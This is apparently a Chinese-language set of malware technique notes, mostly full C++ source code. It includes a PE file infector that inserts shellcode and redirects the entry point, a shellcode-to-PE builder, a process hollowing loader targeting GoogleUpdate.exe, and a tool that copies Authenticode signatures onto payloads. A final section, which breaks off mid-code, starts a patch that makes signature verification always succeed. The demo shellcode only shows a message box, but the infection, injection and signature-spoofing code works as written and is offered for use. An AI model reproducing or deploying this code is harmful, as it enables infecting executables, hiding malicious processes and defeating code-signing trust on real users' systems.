恶意程式前线战术指南笔记

档案映射

PE蠕虫感染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <iostream>
#include <Windows.h>
#pragma warning(disable : 4996)
/* Title: User32-free Messagebox Shellcode for All Windows
* Author: Giuseppe D'Amore
* Size: 113 byte (NULL free)
*/
char x86_nullfree_msgbox[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
bool readBinFile(const char fileName[], char** bufPtr, DWORD& length) {
if (FILE* fp = fopen(fileName, "rb")) {
fseek(fp, 0, SEEK_END);
length = ftell(fp);
*bufPtr = new char[length + 1];
fseek(fp, 0, SEEK_SET);
fread(*bufPtr, sizeof(char), length, fp);
return true;
};
return false;
};
int main(int argc, char** argv) {
if (argc != 2) {
puts("[!] usage: ./PE_Patcher.exe [path/to/file]");
return 0;
};
char* buff; DWORD fileSize;
if (!readBinFile(argv[1], &buff, fileSize)) {
puts("[!] selected file not found.");
return 0;
};
#define getNtHdr(buf) ((IMAGE_NT_HEADERS *)((size_t)buf + ((IMAGE_DOS_HEADER *)buf)->e_lfanew))
#define getSectionArr(buf) ((IMAGE_SECTION_HEADER *)((size_t)getNtHdr(buf) + sizeof(IMAGE_NT_HEADERS)))
#define P2ALIGNUP(size, align) ((((size) / (align)) + 1) * (align))
puts("[+] malloc memory for outputed *.exe file.");
size_t sectAlign = getNtHdr(buff)->OptionalHeader.SectionAlignment, fileAlign = getNtHdr(buff)->OptionalHeader.FileAlignment, finalOutSize = fileSize + P2ALIGNUP(sizeof(x86_nullfree_msgbox), fileAlign);
char* outBuf = (char*)malloc(finalOutSize);
memcpy(outBuf, buff, fileSize);
puts("[+] create a new section to store shellcode.");
auto sectArr = getSectionArr(outBuf);
PIMAGE_SECTION_HEADER lastestSecHdr = &sectArr[getNtHdr(outBuf)->FileHeader.NumberOfSections - 1];
PIMAGE_SECTION_HEADER newSectionHdr = lastestSecHdr + 1;
memcpy(newSectionHdr->Name, "30cm.tw", 8);
newSectionHdr->Misc.VirtualSize = P2ALIGNUP(sizeof(x86_nullfree_msgbox), sectAlign);
newSectionHdr->VirtualAddress = P2ALIGNUP((lastestSecHdr->VirtualAddress + lastestSecHdr->Misc.VirtualSize), sectAlign);
newSectionHdr->SizeOfRawData = sizeof(x86_nullfree_msgbox);
newSectionHdr->PointerToRawData = lastestSecHdr->PointerToRawData + lastestSecHdr->SizeOfRawData;
newSectionHdr->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
getNtHdr(outBuf)->FileHeader.NumberOfSections += 1;
puts("[+] pack x86 shellcode into new section.");
memcpy(outBuf + newSectionHdr->PointerToRawData, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
puts("[+] repair virtual size. (consider *.exe built by old compiler)");
for (size_t i = 1; i < getNtHdr(outBuf)->FileHeader.NumberOfSections; i++)
sectArr[i - 1].Misc.VirtualSize = sectArr[i].VirtualAddress - sectArr[i - 1].VirtualAddress;
puts("[+] fix image size in memory.");
getNtHdr(outBuf)->OptionalHeader.SizeOfImage = getSectionArr(outBuf)[getNtHdr(outBuf)->FileHeader.NumberOfSections - 1].VirtualAddress + getSectionArr(outBuf)[getNtHdr(outBuf)->FileHeader.NumberOfSections - 1].Misc.VirtualSize;
puts("[+] point EP to shellcode.");
getNtHdr(outBuf)->OptionalHeader.AddressOfEntryPoint = newSectionHdr->VirtualAddress;
char outputPath[MAX_PATH];
memcpy(outputPath, argv[1], sizeof(outputPath));
strcpy(strrchr(outputPath, '.'), "_infected.exe");
FILE* fp = fopen(outputPath, "wb");
fwrite(outBuf, 1, finalOutSize, fp);
fclose(fp);
printf("[+] file saved at %s\n", outputPath);
puts("[+] done.");
return 0;
};

连结器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <iostream>
#include <Windows.h>
#pragma warning(disable : 4996)
#define file_align 0x200
#define sect_align 0x1000
#define P2ALIGNUP(size, align) ((((size) / align) + 1) * (align))
char x86_nullfree_msgbox[] =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
int main() {
size_t peHeaderSize = P2ALIGNUP(sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER), file_align);
size_t sectionDataSize = P2ALIGNUP(sizeof(x86_nullfree_msgbox), file_align);
char* peData = (char*)calloc(peHeaderSize + sectionDataSize, 1);
// DOS
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)peData;
dosHdr->e_magic = IMAGE_DOS_SIGNATURE; // MZ
dosHdr->e_lfanew = sizeof(IMAGE_DOS_HEADER);
// NT
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(peData + dosHdr->e_lfanew);
ntHdr->Signature = IMAGE_NT_SIGNATURE; // PE
ntHdr->FileHeader.Machine = IMAGE_FILE_MACHINE_I386;
ntHdr->FileHeader.Characteristics = IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_32BIT_MACHINE;
ntHdr->FileHeader.SizeOfOptionalHeader = sizeof(IMAGE_OPTIONAL_HEADER);
ntHdr->FileHeader.NumberOfSections = 1;
// Section
PIMAGE_SECTION_HEADER sectHdr = (PIMAGE_SECTION_HEADER)((char*)ntHdr + sizeof(IMAGE_NT_HEADERS));
memcpy(&(sectHdr->Name), "30cm.tw", 8);
sectHdr->VirtualAddress = 0x1000;
sectHdr->Misc.VirtualSize = P2ALIGNUP(sizeof(x86_nullfree_msgbox), sect_align);
sectHdr->SizeOfRawData = sizeof(x86_nullfree_msgbox);
sectHdr->PointerToRawData = peHeaderSize;
memcpy(peData + peHeaderSize, x86_nullfree_msgbox, sizeof(x86_nullfree_msgbox));
sectHdr->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
ntHdr->OptionalHeader.AddressOfEntryPoint = sectHdr->VirtualAddress;
ntHdr->OptionalHeader.Magic = IMAGE_NT_OPTIONAL_HDR32_MAGIC;
ntHdr->OptionalHeader.BaseOfCode = sectHdr->VirtualAddress; // .text RVA
ntHdr->OptionalHeader.BaseOfData = 0x0000; // .data RVA
ntHdr->OptionalHeader.ImageBase = 0x400000;
ntHdr->OptionalHeader.FileAlignment = file_align;
ntHdr->OptionalHeader.SectionAlignment = sect_align;
ntHdr->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI;
ntHdr->OptionalHeader.SizeOfImage = sectHdr->VirtualAddress + sectHdr->Misc.VirtualSize;
ntHdr->OptionalHeader.SizeOfHeaders = peHeaderSize;
ntHdr->OptionalHeader.MajorSubsystemVersion = 5;
ntHdr->OptionalHeader.MinorSubsystemVersion = 1;
FILE* fp = fopen("poc.exe", "wb");
fwrite(peData, peHeaderSize + sectionDataSize, 1, fp);
return 0;
};

Process Hollowing

越南国家级网军组织海莲花Ocean Lotus曾用过该技术。把一支具有数位签名的程式执行成进程,再将进程中已挂载的PE模组替换为恶意程式模组。PEB咨询体的ImageBaseAddress栏位储存主要执行程式的映像基址。此小节为x86工程。

用CREATE_SUSPENDED标志能将任意程式执行并挂载为一个进程,且主线程是被暂停住的,尚未执行到执行程式装载器函数。此时暂停状态下进程的主线程的EIP指向线程共同路由函数ntdll!RtlUserThreadStart。该函数第一个参数放在EAX中,储存线程完成必要初始化后应返回哪里继续执行的位址,第二个参数放在EBX中,储存内核生成的该进程中PEB块位址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <iostream>
#include <windows.h>
#pragma warning (disable : 4996)
BYTE* MapFileToMemory(LPCSTR filename, LONGLONG& filelen) {
FILE* fileptr;
BYTE* buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (BYTE*)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
};
void RunPortableExecutable(const char* path, void* Image) {
PROCESS_INFORMATION PI = {};
STARTUPINFOA SI = {};
CONTEXT* CTX;
void* pImageBase; // Pointer to the image base
IMAGE_NT_HEADERS* NtHeader = PIMAGE_NT_HEADERS((size_t)Image + PIMAGE_DOS_HEADER(Image)->e_lfanew);
IMAGE_SECTION_HEADER* SectionHeader = PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(*NtHeader));
// Create a new instance of current process in suspended state, for the new image.
if (CreateProcessA(path, 0, 0, 0, false, CREATE_SUSPENDED, 0, 0, &SI, &PI)) {
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {//if context is in thread
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// File Mapping
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
WriteProcessMemory(PI.hProcess, LPVOID((size_t)pImageBase + SectionHeader[i].VirtualAddress), LPVOID((size_t)Image + SectionHeader[i].PointerToRawData), SectionHeader[i].SizeOfRawData, 0);
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
};
};
return;
};
int CALLBACK WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
char CurrentFilePath[MAX_PATH + 1];
GetModuleFileNameA(0, CurrentFilePath, MAX_PATH);
if (strstr(CurrentFilePath, "GoogleUpdate.exe")) {
MessageBoxA(0, "We Cool?", "30cm.tw", 0);
return 0;
};
LONGLONG len = -1;
RunPortableExecutable("GoogleUpdate.exe", MapFileToMemory(CurrentFilePath, len));
return 0;
};

数位签名

签名伪造

数位签名的签署方式有两种:第一种,也是主流商业产品上采用的方式,就是嵌入式数位签名,其将验证用的签署咨询直接绑定在PE结构末端,方便程式档案再携带、复制或者发布同时一并将该程式签署咨询转移到洽谈电脑上进行验证。第二种,为分离式数位签名,将程式的指纹记录/杂凑资讯储存于作业系统C:\Windows\System32\CatRoot中。

对于第二种,每个副档名为.cat的档案为按照ASN.1标准封装的记录,储存了档案文件名称与其对应的档案内容杂凑。该资料夹只有高权系统服务或提供UAC许可“权限提升Process”才能写入.cat指纹档案。

验证一个程式档案是否收到签署,且数位签章有效性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#define _UNICODE 1
#define UNICODE 1
#include <tchar.h>
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Softpub.h>
#include <wincrypt.h>
#include <wintrust.h>
// Link with the Wintrust.lib file.
#pragma comment (lib, "wintrust")
BOOL VerifyEmbeddedSignature(LPCWSTR pwszSourceFile) {
LONG lStatus;
DWORD dwLastError;
// Initialize the WINTRUST_FILE_INFO structure.
WINTRUST_FILE_INFO FileData; //用于指名要受验证的程式档案在磁碟槽上的路径
memset(&FileData, 0, sizeof(FileData));
FileData.cbStruct = sizeof(WINTRUST_FILE_INFO);
FileData.pcwszFilePath = pwszSourceFile; //指向受验证档案之路径
FileData.hFile = NULL;
FileData.pgKnownSubject = NULL;
/*
WVTPolicyGUID specifies the policy to apply on the file
WINTRUST_ACTION_GENERIC_VERIFY_V2 policy checks:
1) The certificate used to sign the file chains up to a root certificate located in the trusted root certificate store. This implies that the identity of the publisher has been verified by a certification authority.
2) In cases where user interface is displayed (which this example does not do), WinVerifyTrust will check for whether the end entity certificate is stored in the trusted publisher store, implying that the user trusts content from this publisher.
3) The end entity certificate has sufficient permission to sign code, as indicated by the presence of a code signing EKU or no EKU.
*/
GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
WINTRUST_DATA WinTrustData;
// Initialize the WinVerifyTrust input data structure.
memset(&WinTrustData, 0, sizeof(WinTrustData)); // Default all fields to 0.
WinTrustData.cbStruct = sizeof(WinTrustData);
WinTrustData.pPolicyCallbackData = NULL; // Use default code signing EKU.
WinTrustData.pSIPClientData = NULL; // No data to pass to SIP.
WinTrustData.dwUIChoice = WTD_UI_NONE; // Disable WVT UI.
WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE; // No revocation checking.
WinTrustData.dwUnionChoice = WTD_CHOICE_FILE; // Verify an embedded signature on a file.
WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY; // Verify action.
WinTrustData.hWVTStateData = NULL; // Verification sets this value.
WinTrustData.pwszURLReference = NULL; // Not used.
WinTrustData.dwUIContext = 0;
// Set pFile.
WinTrustData.pFile = &FileData;
// WinVerifyTrust verifies signatures as specified by the GUID and Wintrust_Data.
lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
switch (lStatus) {
case ERROR_SUCCESS:
{
/*
Signed file:
- Hash that represents the subject is trusted.
- Trusted publisher without any verification errors.
- UI was disabled in dwUIChoice. No publisher or time stamp chain errors.
- UI was enabled in dwUIChoice and the user clicked "Yes" when asked to install and run the signed subject.
*/
wprintf_s(L"The file \"%s\" is signed and the signature was verified.\n", pwszSourceFile);
break;
};
case TRUST_E_NOSIGNATURE:
{
// The file was not signed or had a signature that was not valid.
// Get the reason for no signature.
dwLastError = GetLastError();
if (TRUST_E_NOSIGNATURE == dwLastError || TRUST_E_SUBJECT_FORM_UNKNOWN == dwLastError || TRUST_E_PROVIDER_UNKNOWN == dwLastError)
// The file was not signed.
wprintf_s(L"The file \"%s\" is not signed.\n", pwszSourceFile);
else
// The signature was not valid or there was an error opening the file.
wprintf_s(L"An unknown error occurred trying to verify the signature of the \"%s\" file.\n", pwszSourceFile);
break;
};
case TRUST_E_EXPLICIT_DISTRUST:
{
// The hash that represents the subject or the publisher is not allowed by the admin or user.
wprintf_s(L"The signature is present, but specifically disallowed.\n");
break;
};
case TRUST_E_SUBJECT_NOT_TRUSTED:
{
// The user clicked "No" when asked to install and run.
wprintf_s(L"The signature is present, but not trusted.\n");
break;
};
case CRYPT_E_SECURITY_SETTINGS:
{
// The hash that represents the subject or the publisher was not explicitly trusted by the admin and the admin policy has disabled user trust. No signature, publisher or time stamp errors.
wprintf_s(L"CRYPT_E_SECURITY_SETTINGS - The hash representing the subject or the publisher wasn't explicitly trusted by the admin and admin policy has disabled user trust. No signature, publisher or timestamp errors.\n");
break;
};
default:
{
// The UI was disabled in dwUIChoice or the admin policy has disabled user trust. lStatus contains the publisher or time stamp chain error.
wprintf_s(L"Error is: 0x%x.\n", lStatus);
break;
};
};
// Any hWVTStateData must be released by a call with close.
WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE;
lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
return true;
};
int _tmain(int argc, _TCHAR* argv[]) {
if (argc > 1)
VerifyEmbeddedSignature(argv[1]);
return 0;
};

在第29行处,WINTRUST_ACTION_GENERIC_VERIFY_V2指示当前要验证的档案是受Authenticode规格签署的数位签名后档案,该值代表是一串Windows COM Interface代号,使WinVerifyTrust透过不同GUID来选用不同COM Interface的DLL模组之导出函数进行验证是否有效。其他选项有HTTPSPROV_ACTION,被用在IE浏览器验证当前SSL/TLS之HTTPS网路连线之对方数位签章是否有效,DRIVER_ACTION_VERIFY验证是否为有效Windows Hardware Quality Labs(WHQL)驱动档案。

WinVerifyTrust返回值有:

结果 含义
ERROR_SUCCESS 传入档案确实受到签名验证通过,且档案无损毁或遭篡改之疑虑。
TRUST_E_NOSIGNATURE 传入档案之签名内容不存在或具有无效数位签章。
TRUST_E_EXPLICIT_DISTRUST 传入档案具有有效签名且验证通过,但该签名效力被签署人或当前用户禁用从而无效。
TRUST_E_SUBJECT_NOT_TRUSTED 该安装该签名之证书到本地系统时被用户手动阻止导致此签名不被信任。
CRYPT_E_SECURITY_SETTINGS 该签名证书当前被网管设下的群组原则禁用,指纹计算结果不吻合当前传入档案,时间戳记异常等。

WinVerifyTrust具体细节看https://specterops.io/wp-content/uploads/sites/3/2022/06/SpecterOps_Subverting_Trust_in_Windows.pdf 。在Windows 10时代的详解请看https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458286402&idx=3&sn=6eac85d87908e1ee132b09e852c17682&chksm=b18149c886f6c0de5efeb852f59c670353c5331f4fbbafccddd809a53e0d0d11c5bb237ac5f1&scene=27 。数字签名劫持实战请看https://zhuanlan.zhihu.com/p/31083135

由于不同种类档案其数位签名储存方式皆不同,因此微软体系下将每不同中档案验证方式都独立涉及一个COM Interface,即全局共享DLL模组,作为对应当前档案种类的Subject Interface Package(SIP)接口,并配有一组GUID能够反查SIP模组来使用。大致流程如下,“*”表示可选过程:

顺序 Trust Provider
1 Initialization
2 Message
3 Signature
4 Certificate
5 CertCheck*
6 FinalPolicy
7 DiagnosticPolicy*
8 Cleanup*

在上述Message阶段时,先后呼叫三个函数:

  1. Crypt32!CryptSIPDllsMyFileType中将按顺序确认当前传入档案是PE、Catalog、CTL、Cabinet哪种类型并返回对应SIP接口GUID序号。倘若非上述4中,将从注册表中用PsIsMyFileType确认是否为PowerShell脚本、Windows MSI安装包、WIndows应用商店Appx程式等并返回对应SIP接口GUID序号。
  2. 在上个步骤提取出对应当前档案SIP的GUID后,用Crypt32!CryptSIPGetSignedDataMsg以对应SIP接口从当前档案提取签名资讯。
  3. Crypt32!CryptSIPVerifyIndirectData计算当前档案杂凑结果作为指纹,与上个步骤提取出的签名资讯比对,若杂凑结果一致则当前档案与签名当下的档案内容是完全一致的,若不一样则代表该档案在传输或复制过程中损毁或被植入后门、篡改后的档案。

当然上述为设计理论,实践证明PsIsMyFileType的实现在C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll,代码如下。CryptSIPDllsMyFileType并没有实现,而是查找注册表,并直接调用pwrshsip!PsIsMyFileType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall PsIsMyFileType(unsigned __int16* a1, struct _GUID* a2) {
unsigned int v2; // ebx
wchar_t* v4; // rbp
__int64 v5; // rdi
wchar_t* String2[7]; // [rsp+20h] [rbp-58h]
v2 = 0;
if (a2 && (*a2 = 0LL, a1)) {
v4 = wcsrchr(a1, 0x2Eu);
if (v4) {
v5 = 0LL;
String2[0] = L"ps1";
String2[1] = L"ps1xml";
String2[2] = L"psc1";
String2[3] = L"psd1";
String2[4] = L"psm1";
String2[5] = L"cdxml";
String2[6] = L"mof";
while (_wcsicmp(v4 + 1, String2[v5])) {
if (++v5 >= 7)
return v2;
}
*a2 = guidPsSip;
return 1;
}
}
else {
SetLastError(0x57u);
}
return v2;
}

稍微整理一下可得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define CRYPT_SUBJTYPE_POWERSHELL_IMAGE {0x603BCC1F,0x4B59,0x4E08,{0xB7,0x24,0xD2,0xC6,0x29,0x7E,0xF3,0x51}}
BOOL WINAPI PsIsMyFileType(IN WCHAR* pwszFileName, OUT GUID* pgSubject) {
BOOL bResult;
WCHAR* SupportedExtensions[7];
WCHAR* Extension;
GUID PowerShellSIPGUID = CRYPT_SUBJTYPE_POWERSHELL_IMAGE;
SupportedExtensions[0] = L"ps1";
SupportedExtensions[1] = L"ps1xml";
SupportedExtensions[2] = L"psc1";
SupportedExtensions[3] = L"psd1";
SupportedExtensions[4] = L"psm1";
SupportedExtensions[5] = L"cdxml";
SupportedExtensions[6] = L"mof";
bResult = FALSE;
if (pwszFileName && pgSubject) {
Extension = wcsrchr(pwszFileName, '.');
if (Extension) {
Extension++;
for (int i = 0; i < 7; i++)
if (!_wcsicmp(Extension, SupportedExtensions[i])) {
bResult = TRUE;
memcpy(pgSubject, &PowerShellSIPGUID, sizeof(GUID));
break;
};
};
}
else
SetLastError(ERROR_INVALID_PARAMETER);
return bResult;
};

对于查看数位签名在PE档案中的位置,可用PE Bear。看到Data Directory表,有Security Directory栏位之位址是一个Offset位置,指向嵌入式Authenticode签名讯息,为WIN_CERTIFICATE结构。

1
2
3
4
5
6
typedef struct _WIN_CERTIFICATE {
DWORD dwLength;
WORD wRevision;
WORD wCertificateType;
BYTE bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, * LPWIN_CERTIFICATE;

dwLength记录以签名讯息资料起点处之后多少字节内部算是签名讯息资料。bCertificate栏位作为起点开始后所有资料都是校验用的证书记录内容。wCertificateType栏位记录bCertificate证书类型,选项如下。

类型 描述
WIN_CERT_TYPE_X509 X.509证书
WIN_CERT_TYPE_PKCS_SIGNED_DATA PKCS#7方式填充的SignedData的结构
WIN_CERT_TYPE_RESERVED_1 保留
WIN_CERT_TYPE_TS_STACK_SIGNED 伺服器协议堆叠证书签名

对于wRevision栏位值为WIN_CERT_REVISION_1_0代表旧版Win_Certificate,WIN_CERT_REVISION_2_0代表当代版本。证书签名资讯细节与档案指纹计算细节有https://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/Authenticode_PE.docx ,但这个有多少过时的内容我不好说。

签名讯息被拼接在政支PE静态档案内容结尾,即最后一个区段内容末尾,拼接起点为Secruity Directory所记录的Offset位址。在遵守PCKS#7方式填充的签名证书讯息,内文包含:

内容 含义
contentInfo 记录签名当下该档案杂凑值作为指纹
certificates 记录签署人的X.509公开证书资讯
signerInfos 储存contentInfo杂凑值与用来显示给使用者检视签署人资讯,如签署人名称、参考网址、签署时间等

档案指纹(即杂凑)的计算方法:

  1. 将PE程式档案读入到记忆体中,并对杂凑演算法做必要的初始化。
  2. 将PE档案开头处到Checksum栏位(位于NT Headers之Optional Header结构)之前的资料进行杂凑计算并更新杂凑结果。
  3. 跳过Checksum栏位不做杂凑计算。
  4. 将Checksum栏位末端到Security Directory栏位之前的资料进行杂凑计算并更新杂凑结果。
  5. 跳过Security Directory栏位,即一个8字节IMAGE_DATA_DIRECTORY结构大小不做杂凑计算。
  6. 将Security Directory栏位末端开始到区段头阵列结尾的资料进行杂凑计算并更新杂凑结果。
  7. 宣告一个数值变数SUM_OF_BYTES_HASHED用以储存当前已对多少字节做过杂凑计算,接着将其预设值设为SizeOfHeaders数值。
  8. 建立一个区段头清单储存PE结构中的所有区段头资讯,并将清单中各个区段头按照其结构的PointrToRawData以小到大的升幂排序。
  9. 对已排序清单中每个区段头按顺序枚举、对区段头指向内容进行块状杂凑计算并更新杂凑结果,每杂凑完一个区段内容便将SUM_OF_BYTES_HASHED变数加上该区段内容大小。
  10. 此时Authenticode被储存在PE机构最末端,但若签名讯息后端还被多padding了其他资料,则将签名讯息块状结构后至档案EOF处所有多余资料再计算一次杂凑并更新杂凑结果。

签名伪造,即将他人Authenticode签名讯息偷过来在恶意程式上。下面这个代码可简单将一个已签名的程式的数位签名直接拷贝到另一个程式上,此时签名是无效的,注意x86与x64要对应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <fstream>
#include <windows.h>
#pragma warning(disable : 4996)
PBYTE MapFileToMemory(LPCSTR filename, LONGLONG& filelen) {
FILE* fileptr;
PBYTE buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (PBYTE)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
};
PBYTE rippedCert(CONST PCHAR fromWhere, LONGLONG& certSize) {
LONGLONG signedPeDataLen = 0;
PBYTE signedPeData = MapFileToMemory(fromWhere, signedPeDataLen);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(&signedPeData[PIMAGE_DOS_HEADER(signedPeData)->e_lfanew]);
IMAGE_DATA_DIRECTORY certInfo = ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
certSize = certInfo.Size;
printf("%lld\n", certSize);
PBYTE certData = new BYTE[certInfo.Size];
memcpy(certData, &signedPeData[certInfo.VirtualAddress], certInfo.Size);
return certData;
};
int main(int argc, char** argv) {
if (argc < 4) {
PCHAR fileName = strrchr(argv[0], '\\') ? strrchr(argv[0], '\\') + 1 : argv[0];
printf("usage: %s [path/to/signed_pe] [path/to/payload] [path/to/output]\n", fileName);
return 0;
};
// signature from where?
LONGLONG certSize;
PBYTE certData = rippedCert(argv[1], certSize);
// payload data prepare.
LONGLONG payloadSize = 0;
PBYTE payloadPeData = MapFileToMemory(argv[2], payloadSize);
// append signature to payload.
PBYTE finalPeData = new BYTE[payloadSize + certSize];
memcpy(finalPeData, payloadPeData, payloadSize);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(&finalPeData[PIMAGE_DOS_HEADER(finalPeData)->e_lfanew]);
ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = payloadSize;
ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size = certSize;
memcpy(&finalPeData[payloadSize], certData, certSize);
FILE* fp = fopen(argv[3], "wb");
fwrite(finalPeData, payloadSize + certSize, 1, fp);
puts("done.");
return 0;
};

勒索软体佩提亚Petya在野攻击行动被卡巴斯基研究员@craiu于2017年观察到,其特色在于使用重大国家外泄军火(如EternalBlue、SMB漏洞与Office相关漏洞进行钓鱼)作为标配感染途径,并在全球肆虐攻击大型政府与民营机关如机场、地铁与银行。Petya为了让后门更难以被用户察觉而采用了以上签名窃取手段,使其后门伪装成微软发布的执行程式混淆视听。

杂凑校验绕过

受数位签名的执行程式档案透过CryptSIPGetSignedDataMsg提取出签名讯息(即Security Directory指向的那块WIN_CERTIFICATE完整结构内容)之后,便能以CryptSIPVerifyIndirectData进行校验其签名讯息有效性。若其数位签名对当前程式档案内容仍有效将返回TRUE,反之FALSE。本小节目标为伪造CryptSIPVerifyIndirectData,任何呼叫该函数进行签名有效性确认时都回应TRUE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#pragma warning(disable:4996)
bool patchedDone = false;
char tmpModName[MAX_PATH], * pfnCryptVerifyData;
/* 32bit mode
* +0x00 - 48 - dec eax
* +0x01 - 31 C0 - xor eax, eax
* +0x03 - FE C0 - inc al
* +0x05 - C3 - ret
* 64bit mode
* +0x00 - 48 31 C0 - xor rax, rax
* +0x03 - FE C0 - inc al
* +0x05 - C3 - ret
*/
